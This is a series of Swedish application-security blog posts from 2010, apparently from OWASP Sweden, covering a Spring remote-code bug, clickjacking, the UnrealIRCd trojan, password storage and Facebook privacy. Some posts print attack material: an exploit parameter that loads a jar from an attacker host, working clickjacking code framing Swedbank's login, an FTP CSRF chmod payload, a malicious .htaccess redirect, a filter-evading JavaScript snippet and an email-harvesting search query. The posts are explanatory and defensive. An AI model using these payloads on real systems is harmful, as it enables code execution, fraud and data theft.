Börja titta vid 20:50 om ni vill hoppa över de mer generella JavaScript-bitarna (historik, framtid, js kontra DOM:en osv)

Några citat

Några intressanta citat ur presentationen:

"Possibly the only thing we should be considering is security."

"The biggest problem in the browser platform is it's susceptibility to XSS attacks."

"Solving the XSS problem should be our #1 priority"

"HTML5 is a big step in the wrong direction"

Frågan om säkerhet i HTML5

Jag får fler och fler frågor om säkerhet i HTML5. Därtill har jag påbörjat minst två blogginlägg om just det ämnet men stupat på komplexitet och omfång. Det blir för mycket hur jag än gör. Just det berör Crockford när han säger att vi borde avbryta utvecklingen av HTML5 och börja om(!).

Han menar att XSS är det främsta problemet för en blomstrande webb med mashups och enterprise-tjänster. HTML5 gör XSS-problemet värre på tre sätt:

HTML5 är väldigt komplicerat. Och komplexitet står som bekant i motsats till säkerhet (och robusthet, och testbarhet, och förvaltningsbarhet, och ...)
HTML5 ger attackerare nya, väldigt kraftfulla verktyg inklusive access till lokal databas på klientsidan
HTML5 kommer ta lång tid att färdigställa. Måste lösningen på XSS vänta till HTML6?

Arbitrary Code Execution i Spring

2010-06-20T13:04:00.003+02:00

Spring publicerade en allvarlig säkerhetsbugg i torsdags.

Genom att bygga en attack-jar med:

META-INF/spring-form.tld som definierar Spring form-taggar som tagg-filer, inte klasser,
Tagg-filer med valfri attackkod i Java i META-INF/tags/

... och sen skicka in följande HTTP-parameter till en form controller:

class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/

... så skriver attackeraren över den första jar-URL:en i klassladdaren för webb-containern (WebappClassLoader), t ex i Tomcat.

org.apache.jasper.compiler.TldLocationsCache.scanJars() kommer då att hämta attack-jaren och använda den för Spring-taggarna.

Vem drabbas och hur lösa problemet?

Det är väldigt ont om information som det verkar. Därav min något luddiga post. T ex är säkerhetsbuggen rapporterad för Spring Framework men referensen till form controller får mig att tänka Spring MVC. Någon som vet mer?

Det verkar hur som helst vara en riktigt otäck bugg så en uppgradering till 3.0.3 är lämplig.

Community Hack i september

2010-06-19T10:29:00.002+02:00

Det må så vara att vi står värdar för OWASP AppSec nästa vecka men det kommer ju en höst också. Därför kommer här en inbjudan till höstens första event – Community Hack II, 4-5 september i Stockholm.

FOSS-Sthlm tillsammans med oss i OWASP Sweden träffas en hel helg och hackar på öppna saker. Kanske vill du skapa ett nytt verktyg, utreda ett nytt intressant säkerhetsproblem, eller skriva en ny howto-guide? Eller så är det precis rätt tid att sätta sig in i något trevligt OWASP-projekt såsom JBroFuzz eller ESAPI!

Man kan antingen köra sitt eget race eller haka på någon annans projekt. Det hela kommer planeras kollaborativt på en wiki under www.communityhack.org. Och grundstommen är förstås att vi umgås under tiden, t ex går på bio gemensamt lördag kväll.

Rita in 4-5 september i kalendern och gå in och anmäl er på Eventbrite. Kostnadsfritt förstås.

Clickjacking-exempel

2010-06-14T22:53:00.009+02:00

Efter att ha läst RSnakes blogginlägg idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.

Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:

Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">

<title>Clickjacking</title>

</head>

<body>

<h1>Clickjacking</h1>

<button type="button">Logga in</button>

// Skapa en iframe som ska dölja det

// vi vill att offret ska klicka på

a = document.body.appendChild(document.createElement("iframe"));

a.d = a.contentDocument;

a.d.open().close();

a.style.width = 85;

a.style.height = 30;

// Skapa en iframe som ramar in det

// vi vill att offret klickar på

i = a.d.createElement("iframe");

a.style.border = i.style.border = 0;

a.style.marginwidth = i.style.marginwidth = 0;

a.style.marginheight = i.style.marginheight = 0;

a.style.frameborder = i.style.frameborder = 1;

a.style.position = i.style.position = "absolute";

a.style.overflow = i.style.overflow = "hidden";

// Gör den döljande iframe:en nästan

// ogenomskinlig för att tydliggöra exemplet

a.style.opacity = .2;

// Vårt exempel riktar sig mot Swedbank men

// skulle lika gärna kunna vara en annan sida

i.src = "http://www.swedbank.se/";

i.style.width = 815;

i.style.height = 30;

i.style.left = -735;

i.style.top = 0;

i.style.marginwidth = 0;

i.style.marginheight = 0;

i.style.frameborder = 1;

// Lägg till Swedbank-iframe:en till

// den döljande iframe:en

a.d.body.appendChild(i);

// Skapa en funktion som låter den

// döljande iframe:en följa muspekaren

function followmouse(e) {

xcoord = ycoord = 40;

xcoord += e.pageX - 50;

ycoord += e.pageY - 50;

a.style.left = xcoord;

a.style.top = ycoord;

}

// Följ muspekaren med den döljande

// iframe:en

document.onmousemove=followmouse;

</script>

</body> </html>

IRC-demon innehöll trojan

2010-06-13T23:01:00.005+02:00

Världens kanske populäraste IRC-demon, UnrealIRCd, har distribuerats med en trojan sen november. Teamet gick själva ut med information om det igår och Sitic skrev om det idag.

(Förlåt att det är lite låg frekvens på bloggandet just nu men det är mycket inför konferensen. En vecka kvar och över 230 anmälda. 3500 kr för två dagars konferens, tre parallella spår och en middag på stadshuset. Haka på!)

Mardrömmen för öppen källkod

UnrealIRCd snuddar vid den ultimata mardrömmen inom öppen källkod, nämligen att någon smyger in ett rootkit i källkoden och sen får full access till alla användares/utvecklares maskiner.

I det här fallet var det den byggda tar:en som bytts ut och ingen upptäckte det på åtta månader:

"It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now."

Skrämmande men inte alltför förvånande. Vem kollar MD5-summorna? Varje gång?

Värre med dynamisk länkning

Ett relaterat men mycket värre problem är dynamisk länkning. När jag var doktorand i Linköping så handlade mycket av mitt arbete om säkerhet i C. Då var det en gängse sanning att all säkerhetskritisk kod var tvungen att länkas statiskt, dvs libbarna kompileras in i binären som så klart blir gigantisk. På det viset visste man vilken kod som kördes och ett hack i libbarna eller som bytte ut dem påverkade inte den säkerhetskritiska koden.

Dynamisk länkning innebär att din applikationskod länkas samman med andra bibliotek vid applikationsstart eller till och med vid behov under körning. På det viset delas gemensam kod och applikationer får direkt del av buggfixar i bibliotek utan att behöva byggas om själva.

Men säkerhetsmässigt är det problematiskt. Attackvektorn blir så pass mycket större om man genom att knäcka eller byta ut ett bibliotek kan knäcka en massa applikationer och tjänster samtidigt.

Nuförtiden är det inte många som pratar om statisk vs dynamisk länkning. Men problemet är i själva verket större än någonsin!

Dynamisk länkning av JavaScript

Även om de flesta tutorials föreslår att man ska ladda hem de JavaScript-bibliotek man vill använda så ser man väldigt ofta deklarationer i stil med:

... vilket innebär att användarnas webbläsare kommer att hämta den kod som finns hos code.jquery.com och köra/använda den på sidan. Den som lyckas hacka JQuery kommer äga nätet.

Jag förmodar att JavaScript-bibliotekens ovilja att publicera sin kod på en https-domän handlar delvis om det. De vill inte dynamiskt länkas in i https-skyddade applikationer.

Dynamisk länkning med Maven

Att hacka JQuery- eller YUI-servrarna skulle mycket snabbt ge effekt om det inte vore för de allt vanligare "never expire"-cache-kontrollerna. Men vore det inte ännu läskigare om någon hackade något populärt öppen källkods-projekt såsom Log4J eller Apache Commons? Folk laddar automatiskt hem ditt rootkit med Maven utan att ens veta vad som försiggår.

Ibland undrar jag varför det inte redan hänt. Eller om det har hänt men jag inte har fått reda på det. Då blir hack som det mot UnrealIRCd som en klump i magen. Ingen upptäckte det på åtta månader ...

E-postadresser synliga via Facebook-läcka

2010-06-04T00:04:00.006+02:00

Prova att googla på ...

site:facebook.com "Do you want to stop receiving Facebook emails"

Det ger dig en diger uppsättning e-postadresser att börja spamma. Flera av adresserna är dessutom till för automatisk postning till folks bloggar. Cory Watilo har upptäckt det här och han har inte ens gett sin e-postadress till Facebook (se skärmdump nedan)!

Nu tycker jag förvisso man gott kan publicera sin e-postadress på nätet. Filtren börjar bli bra, adressen läcker ut i alla fall (exempel ovan) och det är grymt irriterande att inte hitta en persons e-postadress.

Nej, det allvarliga i den aktuella Facebook-läckan är förstås att Facebook uppenbarligen inte har något ordentligt system för att kategorisera användarnas data. Det ska inte vara upp till om utvecklarna har en bra dag eller inte. Bygger man världens största sociala nätverk och riskerar tonvis med kritik för hanteringen av personlig information så ska systemet självt hålla reda på vad som får spindlas/indexeras och inte.

Om man nu inte kan eller orkar kategorisera informationen – hur svårt kan det vara att sätta upp egna test-botar som går igenom sajten på jakt efter känslig information?

Dödskalle vid trasigt SSL-cert

2010-05-29T14:05:00.002+02:00

Google Chrome börjar visa en röd dödskalle vid felaktigt SSL-cert.

Chris Evans (en av talarna på sommarens konferens) skriver följande:

"The great thing about red skull + crossbones is that it highlights the site is broken and creates pressure to fix it."

Andra involverade i Chromium är tveksamma:

"Users have no control over the site, and they do have choices in browsers, so unless all browsers do it, most users will believe the browser is broken, not the site."

Det riktigt intressanta är att man överväger att visa dödskallen vid allvarliga varianter av mixat http/https-innehåll, ett vanligt problem vid mashups.

Varning vid mixat innehåll med ex. <img> ger "spökhänglås" + grå https-text
Fel vid mixat innehåll med ex. <script> ger dödskalle + röd https-text

Hur spara applikationslösenorden?

2010-05-28T16:30:00.003+02:00

En evig fråga för systemutvecklare och driftansvariga är – hur sparar vi lösenorden som applikationen behöver? Det är ofta flera lösenord som har med applikationen eller applikationsservern att göra. Lösenord till databasen, lösenord till certifikat, lösenord till keystores, lösenord för maskin till maskin-koppel och så vidare.

Alternativen som står till buds

Det finns följande enkla men osäkra alternativ:

Lösenord i klartext i konfigurationsfil
Lösenord i klartext i koden

Sen har vi de bra mycket säkrare men också jobbigare alternativen:

Krypterade lösenord i konfigurationsfil med nyckel i koden (kan vara en masternyckel för hela applikationen)
Krypterade lösenord i kod eller kodnära konfigurationsfil och lösenord i driftnära konfigurationsfil (känns lite bakvänt men ibland har man större förtroende för driftansvarig än för utvecklarna, t ex vid outsourcing)
Krypterade lösenord i en LDAP eller liknande

Och så har vi hybriden:

Krypterade lösenord i konfigurationsfil med delad nyckel – halva i koden, halva i konfigurationsfil.

Till sist har vi de väldigt säkra och grymt jobbiga alternativen:

Lösenord i huvudet på driftansvariga (anges vid varje driftsättning medelst många svordomar)
Drakonisk hårdvarulösning

Standardlösningar?

Mig veterligen så finns ingen standardlösning på det här i vaniljsmaken på Java EE. Istället så bestämmer varje team sig för hur man ska göra med lösenorden. Synd.

I lakritsjava (=enterprise) så finns det färdiga lösningar. IBMs WebSphere kör tyvärr default med en naiv XOR (ref):

"WebSphere Application Server stores passwords XOR encoded in the XML configuration files."

Men man kan plugga in valfri krypteringslösning genom att implementera deras CustomPasswordEncryption-interface eller sätta customPasswordEncryptionClass och customPasswordEncryptionEnabled i PropFilePasswordEncoder.bat/sh. Bra grejer.

i .NET-världen kanske det ser annorlunda ut, inte minst tack vare integrationen med Windows API:er som Data Protection API (CryptProtectData). Men jag är ingen klippa på .NET. Någon som kan hjälpa till? Kristofer?

Vad ska man brygga om man brygger hemma?

OK, men för oss som inte har betalat för en WebSphere-licens, vad står till buds? En XOR-kryptering med statisk nyckel i koden kanske?

Nja, så här säger min kollega Lars Johansson om XOR-kryptering:

XOR ger visserligen "perfekt sekretess" (bevisat av Shannon 1949), men det förutsätter följande:

Nyckeln måsta vara lika lång som klartextmeddelandet.
Nyckeln måste vara fullständigt slumpmässig. Så fort en nyckel återanvänds går det att knäcka kryptotexten!

Båda dessa ovanstående krav gör att perfekt sekretess med XOR inte går att realisera i praktiken. Använd en etablerad kryptoalgoritm i stället, t.ex. AES. Då är det inte lika noga med nyckellängden (256 bitar duger gott). Nyckeln bör dock fortfarande ha bra slump/entropi.

Vi borde skärpa oss lite

Jag tror de flesta tycker det här är för jobbigt och har alla maskinlösenord i klartext eller med defaultskydd. Vi borde skärpa oss lite. AES-kryptering med nyckeln i källkoden borde vara ett minimum. Gärna genom en snygg öppen källkodslösning som alla kan planka :).

Vad tycker ni andra? Hur gör ni?

CSRF mot FTP

2010-05-26T21:09:00.008+02:00

Efter en av våra OWASP Sweden-kvällar så diskuterade vi cross-protocol-attacker. Nu har en CSRF-sårbarhet rapporterats in för Sun Solaris 10 ftpd. Hypertext Transfer Protocol till File Transfer Protocol.

Attackeraren kan på sin sajt ha en sån här image-tagg:

<img src="ftp://ftp.sun.com/////////////////////////////

///////////////////////////////////////////////////

//////////////////////SITE%20CHMOD%20777%20valfritt filnamn";>

Om en ftp-adminstratör surfar in på den sidan så ändras behörigheten på filen till 777, dvs fullständiga rättigheter för alla användare.

Hur skydda sig?

OK, en vanlig CSRF, eller? Nja, vi är ju vana vid att skydda oss mot CSRF i webbapplikationer med hjälp av synkroniserings- eller flödesbiljetter (ViewState, synchronizer token eller forced browsing). Men ftp har inget naturligt sätt att lägga till biljetter mellan anrop.

Det föreslagna skyddet är att inte tillåta långa ftp-kommandon.

[Jag har mejlat Maksymilian Arciemowicz för att fråga om en del detaljer som inte verkar klara. Återkommer om jag får klargörande svar.]

Subdomain hijacking

2010-05-23T19:03:00.005+02:00

En ny trend skönjas enligt Unmasked Parasites – "subdomain hijacking", med en portion malware på köpet förstås.

Dina domäner är attraktiva

Låt säga att någon kommer över inloggningsuppgifterna till ditt webbhotell, t ex för att du loggar in på ftp med lösenordet i klartext. Vad ska de då göra? Deface:a ditt fotoalbum? Nej, de studsar trafik via dig för att locka folk till fishing- och malwaresajter! Därför är även minlillakattunge.se intressant att hacka.

Redirect via .htaccess

Ett vanligt sätt att rikta om webbtrafiken på en hackad server är att skapa eller ändra på filen .htaccess (Apache). Den filen åsidosätter nämligen webbserverns konfiguration i den katalog den ligger i. Du kan t ex ha lagt flera .htaccess-filer i ditt webbträd så här:

/.htaccess

/www/.htaccess

/www/owasp/.htaccess

/www/owasp/blog/.htaccess

Normalt styr man saker som teckenkodning och sidor som kräver inloggning med hjälp av .htaccess och själva webbservern måste ha konfigurerats för att tillåta .htaccess:

AllowOverride All – tillåt valfri åsidosättning i .htaccess-filer
AllowOverride None – tillåt ingen åsidosättning
AllowOverride AuthConfig | FileInfo | Indexes ... – tillåt specifika ändringar

En sak man kan styra i .htaccess är Apache-extension:en mod_rewrite som är en regelmotor för att bygga om URL:er i realtid. Du kommer till en URL och mod_rewrite bygger om den, t ex gör en redirect utifrån parametrar i ditt request.

Attackeraren utnyttjar det stulna kontot till ditt webbhotell och lägger in en .htaccess med följande innehåll:

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]

RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]

Den säger att om surfaren kom hit via någon sökmotor (Google, Yahoo ...) så ska han/hon skickas vidare till en annan sajt på IP 87.248.180.90. Och den sajten lurar honom/henne att installera ett "antivirus" eller liknande.

Notera att när du går direkt till din sajt (utan att söka) så kommer allt att se bra ut.

Offret kanske upptäcker redirect:en?

Nu börjar ju folk få bättre och bättre koll och kanske skulle upptäcka att klicket bland sökträffarna inte tog dem till en trovärdig sajt utan till IP 87.248.180.90. Det är då subdomain hijacking kommer in i spelet!

Det skulle ju vara mycket mer trovärdigt om uppmaningen att installera något kom från en sida under rätt domän.

Attackeraren gör redirect till en stulen subdomän

Låt säga att attackeraren har kommit över mina inloggningsuppgifter till owasp.se. Istället för att i .htaccess sätta upp regeln:

RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]

... så konfigurerar han/hon upp en ny subdomän – www2.owasp.se – och sätter upp redirect-regeln:

RewriteRule .* http://www2.owasp.se/in.html?s=ipw2 [R,L]

... och publicerar sin malware där.

De flesta kommer inte upptäcka att de har en extra subdomän uppsatt. Och det är sådana extra, stulna subdomäner som nu har börjat dyka upp på nätet, under namnet subdomain hijacking. Kanske är det en trend.

Clickjacking-attack mot Facebook

2010-05-21T16:45:00.004+02:00

En mask kallad FBHOLE spred sig som en löpeld på Facebook igår och idag. Tydligen använder den sig av clickjacking. F-Secure beskriver det hela bra.

Någon av dina redan drabbade FB-vänner postar ett meddelande:

"try not to laugh xD http://www.fbhole. com/omg/allow.php?s=a&r=[slumptal]"

Om du klickar så får du upp en sida som ser ut som Facebook men visar ett fejkat felmeddelande:

Om du klickade någonstans på den sidan så postade du fbhole.com-länken på din Facebook-profil och masken fortsätter att sprida sig (förutsatt att du är inloggad på FB). fbhole.com fångar ditt klick med en transparent iframe som skickar klicket till Facebook istället.

Domänen registererades igår och pekar på en tjeckisk IP-adress. Sajten ironbrain.net har samma IP.

Mikko Hypponen på F-Secure ringde Ironbrain som lät tämligen förvånade. En stund senare var fbhole.com borta från nätet.

Vi kommer ha en intressant presentation om clickjacking på sommarens konferens i Stockholm (se passet kl 15:30).

Forefront TMG gör MitM på din SSL

2010-05-21T15:13:00.005+02:00

Ni kanske läste mitt inlägg om hur myndigheter och säkerhetstjänster kan avlyssna SSL genom proxies och utfärdande av korrekta SSL-certifikat on the fly?

Det är precis samma sak som Microsoft Forefront Threat Management Gateway gör.

Microsoft Forefront TMG gör Man-in-the-Middle

Microsoft beskriver själva sin teknik på Technet:

"In order to inspect outgoing HTTPS traffic, Forefront TMG breaks the HTTPS connection and then acts as an intermediary or "man in the middle" between the client that initiated the connection and the secure Web site."

Det går till så här:

Sysadmin på arbetsplatsen ser till att ett så kallat HTTPS inspection certificate finns installerat i alla klientdatorers Trusted Root Certification Authorities certificate store
Klienten gör ett anrop till en https-sajt
TMG går in och bryter anropet
TMG sätter upp en egen SSL-koppling till den begärda sajten och kontrollerar det SSL-cert som sajten autentiserar sig med
TMG kopierar webbsajtens SSL-certifikat, skapar ett nytt SSL-certifikat med samma uppgifter, och signerar det med HTTPS inspection certificate
TMG sätter upp en https-koppling till klienten mha det nya SSL-certifikatet
Klienten accepterar det nya certet som korrekt för den begärda sajten eftersom HTTPS Inspection-certet finns bland de betrodda CA-certen

Det är så din arbetsgivare kan spionera på din SSL-trafik.

Oracle-kurs om SQL injection

2010-05-20T16:34:00.005+02:00

Oracle har lagt ut en online-kurs om hur man undviker SQL injection. Ett bra lästips för alla utvecklare och dba:er med Oracle-databas.

Under kursen förväntas man lära sig ...

Kategorisera och förklara olika typer av SQL injection-attacker
Beskriva programmerings- och designstrategier för att undvika SQL injection
Använda DBMS_ASSERT för indatavalidering
Använda kodgranskningsverktyg för att hitta potentiella SQL injection-sårbarheter
Nyttja utvecklingspraxis för att undvika SQL injection-sårbarheter

Länken: Defending Against SQL Injection Attacks!

CS lista på säkerhetsexperter deface:ad?

2010-05-17T16:54:00.004+02:00

Computer Sweden brukar ju lista Sveriges skarpaste säkerhetsexperter (klicka inte på sidans länk "Redigera listan själv och lägg till uppgifter på CS Wiki" innan du läst vidare nedan). Senaste listan kom i september 2008 men CS har haft en wiki-sida där alla kan föreslå folk till den nya listan. Den wiki-sidan är inte så fin längre ...

Wikin hackad?

När jag klickade in på wikin trodde jag det var kört. – Sh*t, nu är det heap spraying på gång! tänkte jag. Men sidan såg knasig ut och näthack brukar vara diskretare än så.

Jag startade om datorn för säkerhets skull och wget:ade sen hem wiki-sidan. Verkar mest som att någon har raderat listan på säkerhetsexperter och lagt dit några skumma dummy-länkar. Kanske finns där något elakt skript men inget som fångade mitt öga. Någon annan som vill utreda vidare?

Så här ser i alla fall "listan" ut i HTML numer:

<p>BaKBX0

_<a href="<a href="http://xlbdiunbcvub.com/"

__class="external free"

__title="http://xlbdiunbcvub.com/"

__rel="nofollow">

_http://xlbdiunbcvub.com/</a>

_">xlbdiunbcvub</a>,

_[url=

__<a href="http://jclohyqgrgio.com/"

___class="external free"

___title="http://jclohyqgrgio.com/" ___rel="nofollow">http://jclohyqgrgio.com/</a>

_]jclohyqgrgio[/url],

_[link=

__<a href="http://ztpdcvhhglip.com/"

___class="external free"

___title="http://ztpdcvhhglip.com/" ___rel="nofollow">http://ztpdcvhhglip.com/</a>

_]ztpdcvhhglip[/link],

_<a href="http://mnxercozwuni.com/"

__class="external free" title="http://mnxercozwuni.com/" __rel="nofollow">http://mnxercozwuni.com/</a>

Domänerna verkar inte äkta. Men lite lustigt är det med tanke på att listan handlar om säkerhetsexperter.

AppSec-inbjudan på YouTube

2010-05-16T16:31:00.005+02:00

Jag lade precis ut en videoinbjudan till OWASP AppSec i Stockholm i sommar. Jag har ingen formell skolning i filmskapande men ni får iaf en sneak peek på min och Dj Materias kommande mix på min låt "Fly Together" :).

Säkerhetsfolk på Twitter?

2010-05-15T12:34:00.003+02:00

Jag har twittrat ett tag nu och gillar det. Bra nyhetsflöde och forum för korta känsloyttringar och åsikter. Bara det faktum att jag i veckan bestämde mig för att börja rekommendera kunder att avinstallera Java på klientdatorer om de inte kör applets eller Javaapplikationer. Det är sånt man kan "känna" på Twitter. I botten ligger förstås antalet allvarliga säkerhetsbuggar, Java 5:s End-of-Life och Oracles attityd till patchningar.

Jag heter johnwilander på Twitter och startade precis listan SwedishSecurityLounge – SSL (http://twitter.com/johnwilander/swedishsecuritylounge). Om andra här twittrar så messa mig på Twitter @johnwilander så lägger jag till er i listan.

Vi ses där ute!

Personlig integritet på Facebook?

2010-05-13T13:04:00.006+02:00

Facebook får mer och mer stryk för regler och inställningar gällande personlig integritet. Vid det här laget är deras integritetspolicy längre än den amerikanska konstitutionen (se länkad NY Times-artikel nedan). Det hela har förstås bärighet på allmänna frågor som hur man tjänar pengar på nätet, den pågående kampen om våra nätidentiteter och Facebooks ambitioner att bli den globala portalen för alla oss som "hänger" på nätet.

Visualisering av personlig integritet på FB

Matt McKeon på IBM research har gjort en visualisering av hur Facebook har gjort mer och mer personlig information tillgänglig över tid.

Nu har även New York Times gjort en ordentlig genomgång av historik och nuläge.

Bra artiklar

Wired har både en bra artikel om integritetsproblemet och om Facebooks planer på webbdominans.

Facebook reagerar

Nu har Facebook äntligen reagerat och kallat till ett internt stormöte. Blir intressant att se vad som händer och sägs där.

Nättidningar inom säkerhet

2010-05-11T22:33:00.003+02:00

Några nättidningar om ni är sugna på merläsning. Med läsplattorna så tror jag de kan få ett uppsving. Tipsa gärna om fler i kommentarerna.

(In)Secure Magazine

http://www.net-security.org/insecuremag.php

Hankin9 – numer en kostnadsfri nättidning

http://hakin9.org/

Club Hack Mag – ung indisk nättidning

http://chmag.in/

Phrack Magazine, #67 kommer ut 11:e juli (ett år sen senast)

http://www.phrack.com/

Webbsårbarheter i siffror

2010-05-11T19:39:00.013+02:00

WhiteHat har precis kommit med vårens Website Security Statistics Report (pdf). Tom Brennan kommer att hålla en presentation om det hela på sommarens OWASP-konferens i Stockholm men några av de intressantaste siffrorna tycker jag är följande:

	ASP	ASPX	Cold Fusion	Struts	JSP	PHP	Perl
Andel sårbarheter per indatafält	9 %	6 %	8 %	6 %	10 %	8 %	12 %
Andel sajter som haft minst en allvarlig sårbarhet	74 %	73 %	86 %	77 %	80 %	80 %	88 %
Andel sajter som har minst en allvarlig sårbarhet	57 %	58 %	54 %	56 %	59 %	63 %	75 %

Man har kategoriserat utifrån filändelser asp, aspx, cfm, do, jsp, php och pl.

ASP och ASPX verkar klara sig bättre. Jag skulle gissa på att det beror på att man har ett "facit", dvs information från MSDN, och bättre security by default, något som Microsoft har arbetat mycket med. Perl ligger sämst till i alla kategorier men vem utvecklar idag webb med Perl?

Twittra och blogga om AppSec i Stockholm

2010-05-09T12:36:00.004+02:00

Det är dags att skapa en digital storm och bjuda in världen till sommarens OWASP AppSec Research 2010 i Stockholm. Vi har ett fantastiskt program och bjuder in alla deltagare till middag i stadshuset. Snälla hjälp till genom att twittra och blogga om det, gärna söndag/måndag. Tillsammans kommer vi höras.

Tag: #OWASP

Länk: http://owasp.se

Bild:

Ni kan använda ovanstående bild på era bloggar. Koden är Marios vinnande bidrag i tävlingen om icke-alfanumerisk JavaScript som gör en alert("owasp"). Hyfsat klurigt för filter och kodgranskare ;). Om ni vill ha med skriptet i textform, så är det bara att kopiera följande:

ω=[[Ṫ,Ŕ,,É,,Á,Ĺ,Ś,,,Ó,Ḃ]=!''+[!{}]+{}][Ś+Ó+Ŕ+Ṫ],ω()[Á+Ĺ+É+Ŕ+Ṫ](Ó+ω()[Ḃ+Ṫ+Ó+Á]('Á«)'))

Låt oss hjälpas åt att få ut budskapet – tack!

Sandlådor för CSS/HTML/JavaScript

2010-05-06T23:14:00.002+02:00

Gareth Heyes donerar sina tre sandlådeprojekt till OWASP. Så här skrev han nyss på leaders-listan:

I'm donating CSSReg/HTMLReg/JSReg to OWASP.

https://code.google.com/p/jsreg/
http://code.google.com/p/htmlreg/
http://code.google.com/p/cssreg/

Currently I use a local SVN server but I'm switching to Google code with the above projects. All projects are developed in JavaScript and use regular expressions to create a safe sandboxed version of the language. I know you have Anti-Samy which is very good (I've tested it) I don't want to compete with that but rather offer devs a safe way of outputting code using JavaScript.

Öppen Google-kurs i webbsäkerhet

2010-05-06T16:52:00.003+02:00

Google har kommit med en öppen kurs i utveckling av säkra webbapplikationer – Web Application Exploits and Defenses. Genom ett antal labbar får man prova att hacka en medvetet sårbar bloggapplikation vid namn Jarlsberg.

Labbarna i att knäcka Jarlsberg finns i tre typer:

Blackbox: Du kan lösa labben utan att titta på hur applikationen är konstruerad.
Whitebox: Du måste på något sätt undersöka applikationens källkod.
Ledtråd: Du får en ledtråd som hjälper dig lösa labben.

Bland labbarna finns:

Cross-site scripting
Cross-site request forgery
Denial of service
Remote code execution

Givetvis lär man sig säkra Jarlsberg parallellt.

EOL – snart i en produkt nära dig

2010-05-03T17:00:00.004+02:00

End of Life. EOL. Inga fler uppdateringar, inga patchar. You're on your own.

Så ser det ut för fler mjuvaruprodukter än man kanske vill veta.

Windows 2000 dör i sommar

Den 13:e juli dör Windows 2000 även för dem som köpt utökad support. Man får hoppas att inga kritiska applikationer snurrar på Win2k efter det datumet. Särskilt inte om maskinen har kontakt med Internet.

Java 5 dog i november förra året

Ännu mer skrämmande är att Java 5 dog 3:e november förra året. Det är jättemånga som fortfarande kör Suns Java 5. Har de köpt utökad support?

Den sista mars kom nämligen Secunia Advisory SA37255:

Sun Java JDK / JRE Multiple Vulnerabilities

... som motsvaras av patchen JavaSE 5.0_x86: update 24 patch – en diger lista med säkerhetshål, toppad av en remote exploit via buffer overflow (6901039 CVE-2009-3910 - Java HsbParser.getSoundBank Heap Buffer Overflow Vulnerability)

Förvisso ett klientproblem men det är onekligen läge att patcha. Är då denna patch tillgänglig för alla? Jag skaffade ett vanligt SunSolve-konto och fick beskedet: "You have selected premium content which requires a valid Sun Contract to access".

Java har fler problem

Ovanstående Java-buggar toppades sen upp med ett par feta säkerhetshål i Java 6 nu för två veckor sen. De problemen anses så allvarliga att Java som webbläsar-plugin har svartlistats av Mozilla från version 6.0.200.0 och bakåt.

Har alla koll på EOL?

Frågan är om alla har koll på EOL för sina kritiska komponenter? Anses det som en säkerhetsrisk eller sorterar det under licenser och support? Jag tror det ser rätt illa ut på många ställen.